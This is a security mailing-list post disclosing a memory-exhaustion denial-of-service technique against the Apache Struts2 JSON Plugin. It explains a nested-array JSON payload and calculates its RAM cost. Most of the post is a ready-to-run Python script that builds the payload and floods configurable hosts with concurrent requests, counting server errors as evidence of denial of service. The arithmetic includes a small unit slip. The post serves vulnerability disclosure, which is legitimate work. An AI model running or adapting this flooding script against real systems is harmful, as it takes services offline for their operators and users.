[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept



On 29 August 2026, we released "Commas of D00m" -- an old proof of concept that 
demonstrates unconstrained resource consumption in many JSON parsers.  As 
recently discussed (in "Continued Apache Struts2 JSON Plugin Insecure 
Deserialisation"), the Apache Struts2 JSON Plugin's S2-072 and prior code 
changes fail to sufficiently protect against this style of attack.  In that 
write-up, we examined the code and the underlying, incomplete fixes, as well as 
marched through a series of basic mathematical analyses that illustrated the 
point - showing how a single <2MB JSON string can consume more than 10 times 
that in RAM and how, when run with rather modest concurrency, such a request 
can consume more than a GB of RAM.

As discussed in that write-up, for the sake of simplicity, an array-of-arrays 
of only 2 levels deep was chosen for the discussion, with several payload 
options discussed (and the desired end goal -- consumption of excessive CPU for 
a little less memory, shorter payloads, or more extreme memory consumption).  
The following is the more "memory-hungry", more complex approach that better 
maximises the 2MB character length limit that the Apache Struts2 JSON Plugin 
applies (realistically, using an array-of-arrays of just 2 levels deep, the 
string can be under 1MB and consume over 40MB of RAM on a single query -- some 
queries can even get over 80GB per-request, but we'll save that as an exercise 
for the reader).

The Approach
A JSON nested JSON array with the following dimensions:

  *   Level 0 (root): an array with exactly 2 children
  *   Level 1: each of the children from the above array contains an array with 
exactly 8,256 children (a total of 16,512 elements, at the moment)
  *   Levels 2-63: each of those 16,512 elements is a chain of 62 nested 
single-child arrays (`[[[[...]]]]`), with each level holding exactly one element
  *   Leaf: each chain terminates in an empty String `""`
Total: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 * 
8256 fan-out at the top

Analysis
A single array can hold at most 10,000 direct children (`maxElements`), so an 
array-of-arrays with no other content will use 1,290,001 characters (of the 
2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters 
unused simply because the depth and breadth limiters.  This means that, without 
having any "content" other than arrays, we can consume almost 50MB on a single 
request, which is pretty good considering we are only using ~1.3 million of the 
~2 million character budget.  A massive array-of-arrays with no actual data, 
though, is fairly noisy and, frankly, 50MB is small peanuts compared to what we 
can get with just a little bit of data.

Before we go further, we need to discuss something that was mentioned in the 
last write-up but that needs a little more explanation.  Java's default 
ArrayList capacity (which is the maximum number of elements that it can house 
and shouldn't be conflated with "size") is 10.  Most developers don't change 
this value and neither does the Apache Struts2 JSON Plugin.  The cost of this, 
however, is not incurred, to its fullest, until the first `add(Object)` call is 
made -- once that happens, the backing array is allocated, costing 56 bytes 
(double that if not using the compressed oops, as discussed in the previous 
write-up).  After the first `add(Object)` call is made, the total cost of the 
ArrayList is 80 bytes (for simplicity's sake, we're going to stick with the 
compressed oops and lowest possible values throughout the rest of this work -- 
this value can be more depending on the environment) regardless of if the array 
has 1 or 10 elements in it (we'll ignore the automatic resizing in mak
 ing that statement, just for the sake of argument).  This means that for the 
cost of simply two characters -- `[` and `]`, which is just two bytes in our 
input, we cost the server 80 bytes (which is 40 bytes/input character -- a 
massive win for the attacker).  The next best that we can do is an empty 
String, which has a 20 bytes/input character pay-off, which is significantly 
worse.  Adding elements to the array costs us at least one character -- `,` -- 
but we only see the ArrayList grow at key intervals, so it actually has a 
slightly worse bytes/input character pay-off overall.

Looking at the problem, we have ample room sideways -- 10,000 units left and 
right per element -- but are constrained along the y-axis by the 64-depth 
limit.  As width doesn't immediately equal a significant number of bytes 
consumed since the cost is stepped, it's best to go n-1 deep and then fill out 
the leaves, which means that we get maximum usage -- 82,785,552 bytes of RAM 
consumed on a single request (assume 64-bit HotSpot JVM running with compressed 
oops and 8-byte alignment -- a standard configuration set) -- in the manner 
described in the above "The Approach" section.

In other words, by fanning out into empty Strings and using 40 concurrent 
requests, we can consume ~3.31GB of RAM on the host and maximise the 2MB input 
limit that Apache has put in place.

The Maths

  *   ArrayList: ~24B + backing Object array of capacity n
     *   Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)
     *   On first `add(Object)` call, the backing array goes to 56B
     *   If hit rapidly and concurrently, garbage collection will not run 
(we'll take the worst case scenario, here, for simplicity), so growing an array 
to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays
  *   One singleton-chain level: 80B / 2 input characters = 40 bytes/input 
character
  *   One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2 
characters -- 126 characters (39.68 bytes/input character)\
  *   16,512 chains: 82,560,000B
     *   two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B
     *   2-wide root: 80B
Add it all up and you get 82,785,552B on a single request.  Multiply that by 40 
(40 concurrent requests) and you have ~3.31GB residing in memory at any given 
time.  Stepped attacks, especially if paired with high-compute requests (again, 
boxing and unboxing requests are a great option), can dramatically increase 
that while allowing the attacker to decrease the number of requests/second.  
Note that we leave such a trivial tweak to the PoC to the reader.

The Script
The following is a modernised version of Commas of D00m known as "Let the 
Commas Hit the Floor".

```python
#!/usr/bin/python3
# ---
# name: Nested-array depth overflow tester
# category: Testing and scanning
# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json, 
flood, load, http
# description: Floods a host with concurrent deeply nested JSON arrays (2 root 
children x 8,256 nested children,
#   each a 62-level chain of single-element arrays terminating in an empty 
string) to probe JSON parser
#   recursion/stack-depth limits.
# placeholders:
#   - token: "@@HOSTS@@"
#     field: hosts
#     kind: list
#     format: python
#     label: Hosts
#   - token: "@@CONTENT_TYPE@@"
#     field: content_type
#     kind: text
#     label: Content-Type
#     default: application/json
#   - token: "@@PATH@@"
#     field: path
#     kind: text
#     label: Request path
#     optional: true
#     default: /
#   - token: "@@HEADERS@@"
#     field: headers
#     kind: map
#     format: python
#     label: Extra headers, like the cookie and authorisation headers
#     optional: true
#   - token: "@@PARALLEL_COUNT@@"
#     field: parallel_count
#     kind: text
#     label: Parallel count (concurrent threads)
#     optional: true
#     default: 40
#   - token: "@@TOTAL_CONNECTIONS@@"
#     field: total_number_of_connections
#     kind: text
#     label: Total connections
#     optional: true
#     default: 1000
#   - token: "@@RECREATE_PAYLOAD@@"
#     field: recreate_payload
#     kind: text
#     label: Recreate payload file (true/false)
#     optional: true
#     default: true
#   - token: "@@PAYLOAD_FILE@@"
#     field: payload_file
#     kind: text
#     label: Payload file
#     optional: true
#     default: prebuilt_payload_tmp
#   - token: "@@ROOT_CHILDREN@@"
#     field: root_children
#     kind: text
#     label: Root array children
#     optional: true
#     default: 2
#   - token: "@@LEVEL2_CHILDREN@@"
#     field: level2_children
#     kind: text
#     label: Level-2 array children (per root child)
#     optional: true
#     default: 8256
#   - token: "@@CHAIN_DEPTH@@"
#     field: chain_depth
#     kind: text
#     label: Nested single-child array chain depth (per slot)
#     optional: true
#     default: 62
#   - token: "@@LEAF_VALUE@@"
#     field: leaf_value
#     kind: text
#     label: Leaf value (terminates each chain)
#     optional: true
#     default:
#   - token: "@@REQUEST_TIMEOUT@@"
#     field: request_timeout
#     kind: text
#     label: Per-request timeout in seconds
#     optional: true
#     default: 10
# ---
"""Flood a host with deeply nested JSON arrays to probe recursion/stack-depth 
limits.

Builds a JSON array shaped as: a root array of 2 children, each a level-2 array 
of
8,256 children (16,512 slots total), where each slot is a chain of 62 nested
single-child arrays terminating in an empty-string leaf. This shape stresses a
server-side JSON parser's recursion/stack handling without relying on one single
pathologically deep structure. Fires the payload at each host with a 
configurable
amount of concurrency, tallying the status codes seen (413s and 5xx especially) 
and
logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at 
least one
host are required.
Usage:
    python script.py
"""

import concurrent.futures
import json
import os
import time
from datetime import datetime, timezone

import requests

# REPLACE/ADJUST THESE
config = {
    'hosts': @@HOSTS@@,
    'paths': ['@@PATH@@' or '/'],
    'content_type': '@@CONTENT_TYPE@@' or 'application/json',
    'extra_headers': @@HEADERS@@,
    'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
    'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
    'request_timeout': float('@@REQUEST_TIMEOUT@@' or 10),
    # Data for the payload generation
    'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in 
('1', 'true', 'yes'),
    'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
    'root_children': int('@@ROOT_CHILDREN@@' or 2),
    'level2_children': int('@@LEVEL2_CHILDREN@@' or 8256),
    'chain_depth': int('@@CHAIN_DEPTH@@' or 62),
    'leaf_value': '@@LEAF_VALUE@@',
}

if not config['hosts']:
    raise ValueError('At least one host is required.')


def count_status_codes(responses, url):
    """
    Walks through the responses, logs any 5xx bodies (labelled with ``url`` so
    multi-host runs stay attributable), and counts the status codes

    Args:
        responses (list[Response]): List of response objects
        url (str): The URL these responses came from

    Returns:
        dict: A dictionary with counts for each of the status codes that we 
monitor
    """
    five_xx_responses = [r for r in responses if r is not None and 500 <= 
r.status_code < 600]
    if five_xx_responses:
        try:
            with open('request-responses.txt', 'a', encoding='utf-8', 
errors='replace') as f:
                for response in five_xx_responses:
                    f.write(f"Response from {url}:\n")
                    for header, value in response.headers.items():
                        f.write(f"{header}: {value}\n")
                    f.write(f"{response.text}\n")
                    f.write("-" * 50 + "\n")
            print(f"Successfully wrote {len(five_xx_responses)} response(s) to 
request-responses.txt")
        except Exception as e:
            print(f"Error writing to file: {str(e)}")

    return {
        '2xx': len([r for r in responses if r is not None and 200 <= 
r.status_code < 300]),
        '4xx': len([r for r in responses if r is not None and 400 <= 
r.status_code < 500]),
        '400': len([r for r in responses if r is not None and r.status_code == 
400]),
        '402': len([r for r in responses if r is not None and r.status_code == 
402]),
        '403': len([r for r in responses if r is not None and r.status_code == 
403]),
        '404': len([r for r in responses if r is not None and r.status_code == 
404]),
        '413': len([r for r in responses if r is not None and r.status_code == 
413]),
        '429': len([r for r in responses if r is not None and r.status_code == 
429]),
        '5xx': len(five_xx_responses),
        '500': len([r for r in responses if r is not None and r.status_code == 
500]),
        '502': len([r for r in responses if r is not None and r.status_code == 
502]),
        '503': len([r for r in responses if r is not None and r.status_code == 
503]),
        '504': len([r for r in responses if r is not None and r.status_code == 
504]),
        'failed': len([r for r in responses if r is None]),
    }


def get_payload(recreate_payload=False):
    """
    Grabs the payload that we are going to send: a root array of
    ``root_children`` children, each a level-2 array of ``level2_children``
    children, where each child is a chain of ``chain_depth`` nested
    single-child arrays terminating in ``leaf_value``.

    The chain is built as a string directly (rather than as a nested Python
    list passed to json.dumps) so that large chain_depth values aren't bounded
    by Python's own recursion limit.

    Args:
        recreate_payload (bool): Whether we should stomp over the payload file 
if it exists

    Returns:
        str: The payload to be sent
    """
    fingerprint = 
f"{config['root_children']}:{config['level2_children']}:{config['chain_depth']}:{config['leaf_value']}"
    fingerprint_file = config['payload_file'] + '.fingerprint'
    cached_fingerprint = None
    if os.path.exists(fingerprint_file):
        with open(fingerprint_file, 'r', encoding='utf-8') as file:
            cached_fingerprint = file.read()

    if recreate_payload or not os.path.exists(config['payload_file']) or 
cached_fingerprint != fingerprint:
        leaf_json = json.dumps(config['leaf_value'])
        chain_json = '[' * config['chain_depth'] + leaf_json + ']' * 
config['chain_depth']
        level2_json = '[' + ','.join([chain_json] * config['level2_children']) 
+ ']'
        with open(config['payload_file'], 'w', encoding='utf-8') as file:
            file.write('[')
            file.write(','.join([level2_json] * config['root_children']))
            file.write(']')
        with open(fingerprint_file, 'w', encoding='utf-8') as file:
            file.write(fingerprint)

    with open(config['payload_file'], 'r', encoding='utf-8') as file:
        return file.read()


def make_request(url, data=None, cookie_string=None):
    try:
        headers = {
            'User-Agent': ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 '
                            '(KHTML, like Gecko) Chrome/137.0.0.0 
Safari/537.36'),
            'Accept': 'application/json, text/javascript, */*; q=0.01',
        }
        # Caller-supplied headers first, then the required Content-Type so it 
wins.
        headers.update(config['extra_headers'] or {})
        headers['Content-Type'] = config['content_type']
        if cookie_string:
            headers['Cookie'] = cookie_string

        with requests.Session() as session:
            req = requests.Request(
                'POST',
                url,
                data=data if data else None,
                headers=headers,
            )
            prepared = session.prepare_request(req)
            response = session.send(prepared, timeout=config['request_timeout'])
        return response
    except Exception as e:
        print(f'Error (at 
{datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}')
        return None


def run_concurrent_requests(url, data, num_threads, num_runs, 
cookie_string=None):
    """
    Kicks off requests to run each query and then waits for the responses
    collecting them into a list

    Args:
        url (str): URL to make requests to
        data (str): The data to pass to the request
        num_threads (int): Number of threads to use
        num_runs (int): Number of requests to to make (in total)
        cookie_string (str): Any cookies to include

    Returns:
        list[Response]: A list of responses
    """
    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as 
executor:
        futures = {executor.submit(make_request, url, data, cookie_string): i 
for i in range(num_runs)}
        responses = []
        for future in concurrent.futures.as_completed(futures):
            try:
                responses.append(future.result())
            except Exception:
                responses.append(None)
    return responses


def main():
    # Initialize/truncate output buffer safely
    try:
        with open('request-responses.txt', 'w', encoding='utf-8') as file:
            pass
    except IOError as e:
        print(f"[-] Warning: Cannot initialize response log file: {e}")

    # Running the attack
    print('Running the attack...')
    ## Probe JSON parser recursion/stack-depth limits with a deeply nested array
    payload = get_payload(recreate_payload=config['recreate_payload'])
    total_slots = config['root_children'] * config['level2_children']
    for host in config['hosts']:
        path = config['paths'][0]
        if host.startswith(('http://', 'https://')):
            url = f"{host.rstrip('/')}{path}"
        else:
            url = f"https://{host.rstrip('/')}{path}"
        print(
            f"Attacking {url} with a payload of size {len(payload)} bytes "
            f"({total_slots} nested chains, {config['chain_depth']} levels deep 
each)..."
        )

        start_time = time.time()
        responses = run_concurrent_requests(url, data=payload, 
num_threads=config['parallel_count'],
                                            
num_runs=config['total_number_of_connections'])
        end_time = time.time()

        counts = count_status_codes(responses, url)

        # Print results
        if counts.get('failed', 0) > 0:
            print(f"  [-] {counts['failed']} requests dropped (Connection 
Timeout / Remote Reset)")

        if counts.get('4xx', 0) > 0:
            print(f"  [*] {counts['4xx']} HTTP 4xx responses observed:")
            for status in ['400', '403', '404']:
                if counts.get(status, 0) > 0:
                    print(f"      -> {status}: {counts[status]}")
            if counts.get('413', 0) > 0:
                print(f"      -> 413 (Payload Too Large): {counts['413']} 
*Action required: lower dimensions*")

        print(f"  [*] Rate Limiters: {counts.get('429', 0)} HTTP 429 (Too Many 
Requests) observed.")

        if counts.get('5xx', 0) > 0:
            print(f"  [!] {counts['5xx']} HTTP 5xx Server Errors observed 
(Potential Denial of Service):")
            for status in ['500', '502', '503', '504']:
                if counts.get(status, 0) > 0:
                    print(f"      -> {status}: {counts[status]}")

        attack_time = end_time - start_time
        if attack_time >= 1:
            print(
                f"    {int(attack_time)} seconds to perform the attack run 
(started at "
                f"{datetime.fromtimestamp(start_time, 
tz=timezone.utc).isoformat()} / ended at "
                f"{datetime.fromtimestamp(end_time, 
tz=timezone.utc).isoformat()})"
            )
        else:
            print(
                f"    {int(attack_time * 1000)} milliseconds to perform the 
attack run (started at "
                f"{datetime.fromtimestamp(start_time, 
tz=timezone.utc).isoformat()} / ended at "
                f"{datetime.fromtimestamp(end_time, 
tz=timezone.utc).isoformat()})"
            )
        print("-" * 50)
    print('Done with the attack -- check the logs')


if __name__ == "__main__":
    main()
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/